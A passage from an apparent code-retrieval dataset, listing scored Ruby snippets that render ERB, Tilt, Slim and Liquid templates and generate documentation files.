render(template)\n\n\t\t\tpath=File.expand_path(\"../app/view/#{template}.html.erb\",__FILE__)\n\t\t\tERB.new(File.read(path)).result(binding)\n\n\t\tend", "title": "" }, { "docid": "54cf407a1e1dfb0b3c3984aba8f2545d", "score": "0.54082614", "text": "def create_docs\n directory 'lib/templates/docs', 'docs'\nend", "title": "" }, { "docid": "d446bf4e4feabdfdeb145df7f729acc1", "score": "0.5395875", "text": "def render_template(path, &block)\n Tilt.new(file(path)).render(self, &block)\n end", "title": "" }, { "docid": "1c2aff4aada7ee04a5bb7712c5e71285", "score": "0.5392977", "text": "def render(template_name)\n dir_name = self.class.to_s.underscore\n template_file = File.read(\"views/#{dir_name}/#{template_name}.html.erb\")\n set_auth_token\n template = ERB.new(template_file).result(binding) # eval needed later on?\n render_content(template, 'text/html')\n end", "title": "" }, { "docid": "f82c179c7ac3fe8fe5b6a67db0ca0302", "score": "0.5390996", "text": "def templates_for(file); end", "title": "" }, { "docid": "a1aca547a4835e9f1434637b2029fba5", "score": "0.5387618", "text": "def generate_files\n debug_msg \"Generating file documentation in #{path_output_relative}:\"\n templatefile = self.path_template + 'file.rhtml'\n\n files.each do |file|\n outfile = self.path_output + file.path\n debug_msg \"working on %s (%s)\" % [ file.full_name, path_output_relative(outfile) ]\n\n rel_prefix = self.path_output.relative_path_from( outfile.dirname )\n #context = binding()\n\n debug_msg \"rendering #{path_output_relative(outfile)}\"\n self.render_template(templatefile, outfile, :file=>file, :rel_prefix=>rel_prefix)\n end\n end", "title": "" }, { "docid": "7beec930a3338eef012a12f5bda86f69", "score": "0.5385513", "text": "def render(template_name)\n template = File.readlines(\"views/#{self.class.name.underscore}/#{template_name}.html.erb\")\n render_content(ERB.new(\"<%= template %>\").result(binding), \"text/html\")\n end", "title": "" }, { "docid": "959ef70974a8ad7bb7f54ccffc471279", "score": "0.53845155", "text": "def render(template_name)\n data = File.read(\"views/#{self.class.to_s.underscore}/#{template_name.to_s}.html.erb\")\n erb = ERB.new(data).result(binding)\n\n render_content(erb, 'text/html')\n end", "title": "" }, { "docid": "a2649ebe6a3432003a52e906387ec8c1", "score": "0.5383972", "text": "def render(context)\n file = render_variable(context) || @file\n\n cname = file.strip.split(\"/\").last\n file = \"#{file}/#{cname}.jekyll.html\"\n render_once_found(context, file)\n end", "title": "" }, { "docid": "5c2d23df4d5622188ad52fd9e1c3078f", "score": "0.5382165", "text": "def render(template_name)\n raise 'DOH' if already_rendered?\n\n file_name = \"views/#{self.class.to_s.underscore}/#{template_name}.html.erb\"\n\n erb_file = File.read(file_name)\n template = ERB.new(erb_file).result(binding)\n render_content(template, 'text/html')\n end", "title": "" }, { "docid": "d7c030e957ba9ba4eb36b11599ea322e", "score": "0.53798664", "text": "def erb_render(template_path, data)\n template = File.read(template_path).untaint\n ERB.new(template, render_safe).result(binding)\n end", "title": "" }, { "docid": "09ea023e4be5812e2f24b7e8616d2d67", "score": "0.5372457", "text": "def render(template_name, template_content, merge_vars=nil)\n _params = {:template_name => template_name, :template_content => template_content, :merge_vars => merge_vars}\n return @master.call 'templates/render', _params\n end", "title": "" }, { "docid": "e3d04683c8f44aed9534e82e3747eac4", "score": "0.5351667", "text": "def render(source, target)\n template File.expand_path(source), target, context: binding\n end", "title": "" }, { "docid": "9e07bcacecf69ab8b173e97fb1c5a819", "score": "0.5341237", "text": "def render(templatename)\n content = File.read(File.join(@template_dir, templatename))\n t = ERB.new(content, nil, '-')\n t.result(binding)\n end", "title": "" }, { "docid": "6795a15bd8f934b486521809313cca14", "score": "0.53395426", "text": "def render(template_name)\n #use template name to build path to file\n path = File.join(\"views\", self.class.to_s.underscore, template_name.to_s)\n res.write(File.read(path + \".html.erb\"))\n # create a single html file by evaling the erb\n #File.read(data)\n end", "title": "" }, { "docid": "af840a5cc932ed3fe1dc741fd761a924", "score": "0.5332476", "text": "def render(output)\n @depth = 0\n path = File.expand_path(output)\n FileUtils.mkdir_p(path.downcase)\n Dir.chdir(path)\n DocPage.new(\"index\", \"layout\", variables).render_to_file(\"index.html\")\n \n root.sections.each do |section|\n @depth = 0\n mkdir(section.name.downcase)\n render_template('section', \"#{section.id}.html\", {:doc_instance => section})\n end\n \n root.utilities.each(&method(:render_utility))\n root.namespaces.each(&method(:render_namespace))\n \n copy_assets\n \n dest = File.join(\"javascripts\", \"item_index.js\")\n DocPage.new(\"item_index.js\", false, variables).render_to_file(dest)\n end", "title": "" }, { "docid": "568af36fe7f970c12bcf4c28132f7fe7", "score": "0.53316003", "text": "def render(path, options={})\n options, path = path, nil if path.kind_of?(Hash)\n\n # lookup template\n template_path = case\n when options[:file]\n options[:file]\n when options[:template]\n server.template_path(options[:template])\n else\n server.module_path(path, self.class)\n end\n\n unless template_path\n raise \"could not find template: (path: #{path.inspect}, file: #{options[:file].inspect}, template: #{options[:template].inspect})\"\n end\n \n # render template\n template = File.read(template_path)\n content = render_erb(template, options, template_path)\n \n # render layout\n render_layout(options[:layout], content)\n end", "title": "" }, { "docid": "0c668318a777d7bea246357b2c135cb3", "score": "0.53274286", "text": "def render(template)\n ERB.new(template).result(binding)\n end", "title": "" }, { "docid": "03432ddcd44fe054444006f70d394a5a", "score": "0.5326285", "text": "def render(params={}) # FIXME: rescue\n ([]).tap do |rt|\n tp = document_template.content\n ev = Liquid::Template.parse(tp).render(self.assigns, { registers: self.registers })\n rw = page.account.rewriters.any? ? page.account.rewriters.rewrite!(ev) : ev\n\n rt << rw\n rt << 'text/html'\n end\n end", "title": "" }, { "docid": "58115cd0d5871dacdddd152b5f25c844", "score": "0.5324665", "text": "def render(template_name)\n template_path = \"views/#{self.class.to_s.underscore}/#{template_name.to_s}.html.erb\"\n template = File.read(template_path)\n content = ERB.new(template).result(binding)\n render_content(content, \"text/html\")\n end", "title": "" }, { "docid": "c4614bfc6780500ee7f360a160913f98", "score": "0.5324487", "text": "def generate_file_files\n\t\tdebug_msg \"Generating file documentation in #@outputdir\"\n templatefile = @template_dir + 'file.rhtml'\n \n\t\[email protected] do |file|\n\t\t\toutfile = @outputdir + file.path\n\t\t\tdebug_msg \" working on %s (%s)\" % [ file.full_name, outfile ]\n\t\t\trel_prefix = @outputdir.relative_path_from( outfile.dirname )\n\n\t\t\tdebug_msg \" rendering #{outfile}\"\n\t\t\tself.render_template( templatefile, binding(), outfile )\n\t\tend\n\tend", "title": "" }, { "docid": "b521c72ddb8b77d4663ec05599469649", "score": "0.5322078", "text": "def render(template_name)\n if already_built_response?\n raise AlreadyBuiltResponseError.new('Response already built')\n end\n\n file = find_template_file(template_name)\n unless @has_rendered_base\n @has_rendered_base = true\n content = render('layouts/application.html.erb') do\n render(template_name)\n end\n render_content(content, 'text/html')\n else\n ERB.new(file).result(binding)\n end\n end", "title": "" }, { "docid": "ca95aa3aa863eb636d810446e0188826", "score": "0.5317816", "text": "def render(template_name)\n dir_path = File.dirname(__FILE__)\n template_fname = File.join(\n dir_path, \"..\",\n \"views\", self.class.name.underscore, \"#{template_name}.html.erb\"\n )\n\n template_code = File.read(template_fname)\n\n render_content(\n ERB.new(template_code).result(binding),\n \"text/html\"\n )\n end", "title": "" }, { "docid": "fee62381606b924dd233684d1932b7a5", "score": "0.5306481", "text": "def load_html_template\n ['class', 'file', 'rdoc'].each do |name|\n R2Doc::TemplateManager.load_template(\"#{template_name}/#{name}\")\n end\n end", "title": "" }, { "docid": "d395a2a3928d354a3a42b60efa98603d", "score": "0.52981406", "text": "def render(template_name)\n # @res.File.read\n path = File.dirname(__FILE__)\n template_path = File.join(path, \"..\", \"views\", self.class.name.underscore, \"#{template_name}.html.erb\")\n\n read_template = File.read(template_path)\n\n render_content(ERB.new(read_template).result(binding),'text/html')\n end", "title": "" }, { "docid": "684a8cf4e57503c869d2e418d83cd14c", "score": "0.529759", "text": "def render(output)\n @depth = 0\n path = File.expand_path(output)\n FileUtils.mkdir_p(path)\n Dir.chdir(path)\n \n render_index\n \n root.sections.each do |section|\n @depth = 0\n mkdir(section.name.downcase)\n render_template('section', \"#{section.id}.html\", {:doc_instance => section})\n end\n \n root.utilities.each(&method(:render_object))\n root.namespaces.each(&method(:render_object))\n \n copy_assets\n \n dest = File.join(\"javascripts\", \"item_index.js\")\n DocPage.new(\"item_index.js\", false, variables).render_to_file(dest)\n end", "title": "" }, { "docid": "71118660cf4dddff9eeca926aa8becd3", "score": "0.52909344", "text": "def render_template(template, object)\n renderer = ERB.new(File.read(File.dirname(__FILE__) + template))\n return renderer.result(object.instance_eval {binding})\n end", "title": "" }, { "docid": "c0f951c37bd8d1a50370f074b5ffb204", "score": "0.5281115", "text": "def template(*args, &block)\n\t\t\tlocals = Hash === args.last ? args.pop : self.request.locals\n\t\t\ttemplate = if args.size == 2\n\t\t\t\tTilt[args.first].new { args.last }\n\t\t\telsif args.size == 1\n\t\t\t\tfile = Where.cdir(1) + args.first\n\t\t\t\tMojito::R::StatusCodes.instance_method(:not_found!).bind(self).call unless file.exist?\n\t\t\t\tif not response.include?('Content-Type') and %r{\\.(?<extension>\\w+)\\.\\w+$} =~ file.to_s\n\t\t\t\t\tresponse['Content-Type'] = MIME::Types.type_for(extension)\n\t\t\t\tend\n\t\t\t\tTilt[file.to_s].new file.to_s\n\t\t\tend\n\t\t\ttemplate.render(self, locals, &block)\n\t\tend", "title": "" }, { "docid": "482721ab4218ca9052d7e385af98226f", "score": "0.528031", "text": "def compile(buffer = nil)\n template_name = File.join(File.dirname(__FILE__),\"..\",TEMPLATES_DIR,self.class.to_s.decamelize + \".erb\")\n if File.exists?(template_name)\n template = ERB.new(File.open(template_name).read,nil,\"<>\")\n aux = template.result(self.get_binding)\n else\n aux = render_children\n end\n buffer.puts(aux) if buffer \n aux \n end", "title": "" }, { "docid": "ecb461e3e197e4d94063451df505fa27", "score": "0.5279941", "text": "def render(template_name)\n # rails also renders the application html and then renders a specific\n # page's view inside of that.\n file_name = \"views/#{self.class.to_s.underscore}/#{template_name}.html.erb\"\n file_contents = \"\"\n File.open(file_name.to_s).each do |line|\n file_contents += line\n end\n erb_out = ERB.new(file_contents).result(binding)\n render_content(erb_out, 'text/html')\n end", "title": "" }, { "docid": "9a8c8af19bb137957752ee4c689409c4", "score": "0.5279721", "text": "def render_document_partial(doc, base_name, locals = {})\n format = document_partial_name(doc, base_name)\n\n view_type = document_index_view_type\n template = cached_view ['show', view_type, base_name, format].join('_') do\n find_document_show_template_with_view(view_type, base_name, format, locals)\n end\n if template\n template.render(self, locals.merge(document: doc))\n else\n logger.warn(\"No template was found for base_name: '#{base_name}', view_type: '#{view_type}' in render_document_partial\")\n ''\n end\n end", "title": "" }, { "docid": "a2018c0dfe699057a146aa6ee34f51e5", "score": "0.527443", "text": "def render(topics, template)\n @topics = topics\n @paragraphs = @body ? (Clayoven::Claytext.process @body) : []\n Slim::Engine.set_options pretty: true, sort_attrs: false\n rendered = Slim::Template.new { template }.render self\n File.open(@target, _ = \"w\") { |targetio| targetio.write rendered }\n end", "title": "" }, { "docid": "d6d796c44b968c1926f97f01e6f479b2", "score": "0.52738696", "text": "def basic\n @rt = RequirementsTemplate.find(params[:id])\n response.headers[\"Expires\"] = 1.year.ago.httpdate\n response.etag = nil\n respond_to do |format|\n format.rtf do\n redirect_to action: 'basic', id: params[:id], format: 'docx'\n #headers[\"Content-Disposition\"] = \"attachment; filename=\\\"\" + sanitize_for_filename(@rt.name) + \".rtf\\\"\"\n #render :layout => false,\n # :content_type=> 'application/rtf'\n #:action => 'basic.rtf.erb',\n end\n format.pdf do\n headers[\"Content-Disposition\"] = \"attachment; filename=\\\"\" + sanitize_for_filename(@rt.name) + \".pdf\\\"\"\n render :layout => false,\n :content_type=> 'application/pdf'\n #:template => '/plans/show.pdf.ruby'\n end\n format.html { render :layout => false}\n format.docx do\n templ_path = File.join(Rails.root.to_s, 'public')\n #render docx: 'basic', filename: \"#{sanitize_for_filename(@rt.name)}.docx\"\n str = render_to_string(:template => '/requirements_templates/basic.html.erb', :layout => false)\n converter = PandocRuby.new(str, :from => :html, :to => :docx, 'data-dir' => templ_path)\n headers[\"Content-Disposition\"] = \"attachment; filename=\\\"\" + sanitize_for_filename(@rt.name) + \".docx\\\"\"\n render :text => converter.convert, :content_type=> 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'\n end\n end\n end", "title": "" }, { "docid": "d2b68c8a1fbf9e5bbdfa403a49280fd0", "score": "0.52738565", "text": "def generate\n Zip::File.open(@template_path) do |template_zip|\n buffer = Zip::OutputStream.write_buffer do |out|\n template_zip.each do |entry|\n out.put_next_entry entry.name\n if @replaceable_files[entry.name] && entry.name == Document.doc_xml_file\n source = entry.get_input_stream.read.sub(/(<w:body>)((.|\\n)*?)(<w:sectPr)/, \"\\\\1#{@replaceable_files[entry.name]}\\\\4\")\n out.write(source)\n elsif @replaceable_files[entry.name]\n out.write(@replaceable_files[entry.name])\n else\n out.write(template_zip.read(entry.name))\n end\n end\n end\n buffer.string\n end\n end", "title": "" }, { "docid": "e9bd87d724c29603fb84344d72e92415", "score": "0.52707624", "text": "def generate(doc_dir = Dir.pwd)\n #FileUtils.rm_rf(doc_dir)\n FileUtils.mkdir_p(doc_dir)\n template_path = File.dirname(__FILE__) + \"/../../../markup\"\n template = File.read(\"#{template_path}/template.haml\")\n index_template = File.read(\"#{template_path}/index_template.haml\")\n stylesheet_path = \"#{template_path}/stylesheet.css\"\n documented_sources.traverse(true) do |node|\n if node.value # leaf\n dir = doc_dir + File.dirname(node.full_path)\n FileUtils.mkdir_p(dir)\n file_from_contents(dir + \"/#{node.name}.html\", create_documentation_for_source(node.value, template))\n else\n dir = doc_dir + node.full_path\n FileUtils.mkdir_p(dir)\n FileUtils.cp(stylesheet_path, dir)\n file_from_contents(dir + \"/index.html\", create_index_for_node(node, index_template))\n end\n end\n end", "title": "" }, { "docid": "63e79543b565c2878d9a69418d6d1c1a", "score": "0.5269967", "text": "def render(template_name)\n controller_name = self.class.to_s.underscore\n path = \"views/#{controller_name}/#{template_name}.html.erb\"\n content = ERB.new(File.read(path)).result(binding)\n render_content(content, \"text/html\")\n end", "title": "" }, { "docid": "ccd904fc50cb83696359569ca708b47a", "score": "0.52600974", "text": "def render_file(path, options = {})\n pn = absolute_path_from_current_template(path)\n\n template = template(pn.to_s, nil)\n\n # Track rendered file also on the rendered stack\n template_nesting.push(template)\n\n template.render(options[:locals] || {})\n ensure\n # Only pop the template from the nesting if we actually\n # put it on the nesting stack.\n template_nesting.pop if template\n end", "title": "" }, { "docid": "471b77b63816623cf3e429280df482c2", "score": "0.5258699", "text": "def render(opts)\n body = opts.delete(:body)\n initialize_template_class(body, opts[:file]).render(opts)\n end", "title": "" }, { "docid": "8f5d939a7697c8c5520270d3600f403d", "score": "0.52539223", "text": "def render\n source = File.expand_path(\"../stylesheets/template.#{format}.erb\", __FILE__)\n ERB.new(File.read(source), nil, '-').result(binding)\n end", "title": "" }, { "docid": "ba262adebda817600c5a09bf43d1ae2a", "score": "0.5251984", "text": "def render_single_document(input, outdir, format)\r\n outname=File.basename(input, \".*\")\r\n render_document(input, outdir, outname, format, {:geometry=>\"a4paper\"})\r\n end", "title": "" }, { "docid": "4cf1f88a866ac968ac04893776c83b59", "score": "0.52515286", "text": "def render(template_name)\n dir_path = File.dirname(__FILE__)\n file_name = File.join(\n dir_path, \"..\", \"views\",\n self.class.to_s.underscore, \"#{template_name}.html.erb\"\n )\n contents = File.read(file_name)\n template = ERB.new(contents)\n evaluated_template = template.result(binding)\n template_in_layout = render_into_layout(evaluated_template)\n render_content(template_in_layout, 'text/html')\n end", "title": "" }, { "docid": "c2e870471d8621e7b059c152b6053c71", "score": "0.5246314", "text": "def render(template_name)\n template_fname =\n File.join(\"views\", self.class.name.underscore, \"#{template_name}.html.erb\")\n \n render_content(\n ERB.new(File.read(template_fname)).result(binding),\n \"text/html\"\n )\n end", "title": "" }, { "docid": "ed968802dbe310492748c26ea6da7b97", "score": "0.5242116", "text": "def render(template_name)\n controller_name = self.class.name.underscore.gsub(/_controller$/,'')\n filename = \"views/#{controller_name}/#{template_name}.html.erb\"\n erb_data = File.read(filename)\n\n template = ERB.new(erb_data)\n rendered_template = template.result(instance_binding)\n\n render_content(rendered_template, \"text/html\")\n end", "title": "" }, { "docid": "0008439d9f650ecc52ea59437fb7e66a", "score": "0.523916", "text": "def render(file, locals = {})\n erb_context = binding\n locals.each { |key, value| erb_context.local_variable_set(key, value) }\n ERB.new(File.read(\"build/text/#{file}.tex.erb\"), nil, nil, '_sub01').result(erb_context)\nend", "title": "" }, { "docid": "656cf4260969663949868213608e12a6", "score": "0.52267015", "text": "def render(template_name, locals=attrs)\n file = _cookbook_.find(:templates, template_name, ['.erb'])\n Tilt.new(file).render(Object.new, locals)\n end", "title": "" }, { "docid": "9fa172472fed1c90fabc0e88cb89d3df", "score": "0.52205116", "text": "def generate_file_files\n debug_msg \"Generating file documentation in #@outputdir\"\n templatefile = @template_dir + 'file.rhtml'\n\n @files.each do |file|\n outfile = @outputdir + file.path\n debug_msg \" working on %s (%s)\" % [ file.full_name, outfile ]\n rel_prefix = @outputdir.relative_path_from( outfile.dirname )\n\n debug_msg \" rendering #{outfile}\"\n self.render_template( templatefile, binding(), outfile ) unless @options.dry_run\n end\n end", "title": "" }, { "docid": "3d64c9b0d19c306940501fae517fb1f2", "score": "0.52204955", "text": "def render(*args, &runner_callback)\n Template.new(self.class.template, {\n :view => self,\n :runner => runner_callback\n }, self.output_io)\n end", "title": "" } ]
762084cca078472a3bb01aa1215b47db
callback when app config loaded
[ { "docid": "0d0b4ec30b9c9e2db756113b7dad6199", "score": "0.84182835", "text": "def on_app_config_loaded path\n end", "title": "" } ]
[ { "docid": "a397e7d70fb46699b1298d584daf15a8", "score": "0.7383459", "text": "def config_hook\n end", "title": "" }, { "docid": "e6c9b3f83294317aa25ea824549cc4c1", "score": "0.7057155", "text": "def loadConfig(config)\n _check_and_callback(:loadConfig, config)\n end", "title": "" }, { "docid": "86b961da5e3e3113161fe1d1ad7ad5a7", "score": "0.69556314", "text": "def initialize\n loadConfig\n end", "title": "" }, { "docid": "36fcc64a3c08991f0b4fac1be71ffed5", "score": "0.68202055", "text": "def load_app_config\n @appconfig = AppConfig.first\n end", "title": "" }, { "docid": "544eec6d5f8e96ba777ae87bfabfbc25", "score": "0.6809843", "text": "def load config\n end", "title": "" }, { "docid": "6a0d00fd7f9b1899633e7a5c52393371", "score": "0.6808367", "text": "def loadConfig(conf)\n _check_and_callback(:loadConfig, conf)\n end", "title": "" }, { "docid": "3dc95af76d24b0bc5199ed07ca58b3bd", "score": "0.661807", "text": "def load_app_config\n @appconfig = AppConfig.all.first\n end", "title": "" }, { "docid": "056a5926e570ed76bbbbd5651c962597", "score": "0.66140723", "text": "def config\n\t\t\[email protected]\n\t\tend", "title": "" }, { "docid": "dc72642fba058951fc871afbb486ffe7", "score": "0.66008633", "text": "def setup_app_config()\n\t#fb_graph part\n\t#googleajax part\n\t\tGoogleAjax.referrer = \"littleBrotherApp\"\n\t#twitter part\n\t\n\t#init done\n\tinit_done()\nend", "title": "" }, { "docid": "4a4b72ce84d6ae815792242a0cd76435", "score": "0.65658844", "text": "def load_configuration\n # TODO\n end", "title": "" }, { "docid": "eaf229b15fa9ddff8ffd5b931c565822", "score": "0.65533644", "text": "def config\n\t\t\t@config ||= load_yaml('app.yml')\n\t\tend", "title": "" }, { "docid": "49a3104004c715c1c0a6e1a3f9588b28", "score": "0.65461284", "text": "def load_config\n @@load_config ||= config_load_config\n end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "2a8a06514acfc42e4e9bd17aa7026d42", "score": "0.65092903", "text": "def config; end", "title": "" }, { "docid": "ca270b975d1039e03c6d99e3b49c12b0", "score": "0.6483661", "text": "def load_config\n\t\t\tif File.exist?(AppConst::DEFAULT_CONFIG_PATH)\n\t\t\t\t@app_config = YAML.load(IO.read(AppConst::DEFAULT_CONFIG_PATH))\n\t\t\t\t@app_config = {} unless @app_config.is_a?(Hash)\n\t\t\t\tapp_targets = @app_config[RedirTargetKeyName::KEY_]\n\t\t\t\t@app_redir_targets = app_targets if app_targets && app_targets.is_a?(Hash)\n\t\t\t\tallowed_origins = @app_config[AllowedOriginKeyName::KEY_]\n\t\t\t\t@allowed_origins = Regexp.new(allowed_origins) if allowed_origins && allowed_origins.is_a?(String)\n\t\t\tend\n\t\t\tif File.exist?(AppConst::LOCAL_CONFIG_PATH)\n\t\t\t\t@local_config = YAML.load(IO.read(AppConst::LOCAL_CONFIG_PATH))\n\t\t\t\tapp_targets = @local_config[RedirTargetKeyName::KEY_]\n\t\t\t\t@local_app_redir_targets = app_targets if app_targets && app_targets.is_a?(Hash)\n\t\t\t\tallowed_origins = @local_config[AllowedOriginKeyName::KEY_]\n\t\t\t\t@allowed_origins = allowed_origins if allowed_origins && allowed_origins.is_a?(String)\n\t\t\tend\n\t\trescue\n\t\t\t$stderr.puts 'load_config failed: '\n\t\t\t$stderr.puts $!.message\n\t\t\t$stderr.puts $@\n\t\tend", "title": "" }, { "docid": "e15935e18dc0328e9a9061cbc38ee8d2", "score": "0.64732176", "text": "def load_app_config\n Corrupt::Config.setup(Corrupt.config_file)\n end", "title": "" }, { "docid": "23f6862fb617ce457a90a5703d749367", "score": "0.6463054", "text": "def after_configure; end", "title": "" }, { "docid": "bc617306ddf0f713178fea4141bf24f9", "score": "0.6440256", "text": "def load_config\n ConfigHelper.new(self).load\n end", "title": "" }, { "docid": "01eefa2455acdcdfc95eec3f0f247674", "score": "0.6417759", "text": "def app_config\n\t begin\n\t require RequestStore.config_path + 'vo_config'\n\t require RequestStore.config_path + 'adapters_config'\n\t rescue Exception => e\n\t STDOUT.puts \"You have an error in your rubyamf_config file, please correct it.\"\n\t STDOUT.puts e.message\n\t STDOUT.puts e.backtrace\n\t end\n end", "title": "" }, { "docid": "49b0e6ee1d434f7fdec5afd912a33549", "score": "0.6407152", "text": "def get_config\n\t\tend", "title": "" }, { "docid": "da532684a47a6f63317559219f02274c", "score": "0.6407052", "text": "def read_config()\n\nend", "title": "" }, { "docid": "4bfef9949a4a6a96054e96bf009f8157", "score": "0.6403862", "text": "def config\n @config ||= load_config\n end", "title": "" }, { "docid": "548744663179ce3f741f5ab6a3958b2b", "score": "0.640267", "text": "def config\n memoize(:config) do\n result = super\n result.fetch(:callbacks, :require, []).each do |c_loader|\n require c_loader\n end\n result\n end\n end", "title": "" }, { "docid": "f2156d867fbf728dc19e6d37f7ddd70d", "score": "0.6391227", "text": "def on_load_callbacks; end", "title": "" }, { "docid": "31575c042996826b14c171c0c79c39d1", "score": "0.63733846", "text": "def configured()\n end", "title": "" }, { "docid": "8000ee17890c1745c3104ff0b118433e", "score": "0.6361404", "text": "def on_startup\n end", "title": "" }, { "docid": "e6dcfbc635d67b6f0ebc0d68131b36e8", "score": "0.634516", "text": "def load\n @plugin.loadConfig\n end", "title": "" }, { "docid": "2e602f8320edb0359a44cac54623595b", "score": "0.6342326", "text": "def initial_config\n raise \"Must be overridden by the including class\"\n end", "title": "" }, { "docid": "806e6bd647aa26625adfadfd0e50dbde", "score": "0.63351357", "text": "def run_config\n path = \"#{Volt.root}/config/app.rb\"\n require(path) if File.exists?(path)\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.63204706", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "1afce75ac75aa9812f41f9a2a79983cd", "score": "0.6290378", "text": "def application_startup(app)\n end", "title": "" }, { "docid": "9716b5967bf73cc351a5082207a97890", "score": "0.62785745", "text": "def config\n @config ||= load_config\n end", "title": "" }, { "docid": "c95c53e41027b5a70f6fc2a802e51e41", "score": "0.6268159", "text": "def get_config\n # TODO\n end", "title": "" }, { "docid": "f4928eaa6a13aa3883eaf098e2f5d118", "score": "0.6245955", "text": "def before_callback\n config.before_callback\n end", "title": "" }, { "docid": "f4928eaa6a13aa3883eaf098e2f5d118", "score": "0.6245955", "text": "def before_callback\n config.before_callback\n end", "title": "" }, { "docid": "f8ab658486c84057d4750f1adefadf3d", "score": "0.6240962", "text": "def on_load\n end", "title": "" }, { "docid": "a14e7bd2876dd06bd0c3c5fa976a0fd3", "score": "0.62332726", "text": "def load_config\n self.config = JSON.load(self.data)\n end", "title": "" }, { "docid": "a14e7bd2876dd06bd0c3c5fa976a0fd3", "score": "0.62332726", "text": "def load_config\n self.config = JSON.load(self.data)\n end", "title": "" }, { "docid": "a14e7bd2876dd06bd0c3c5fa976a0fd3", "score": "0.62332726", "text": "def load_config\n self.config = JSON.load(self.data)\n end", "title": "" }, { "docid": "5af766a2dcfcf8ebd4d6ee0eb2a13af7", "score": "0.62273383", "text": "def configure\n load\n notify_observers :configuring, self\n end", "title": "" }, { "docid": "3c11981c6935dc30291d794127bbc4d3", "score": "0.6208771", "text": "def before_configuration_tasks \n end", "title": "" }, { "docid": "fcf7245d6f10dc3bec614c90dc9375b5", "score": 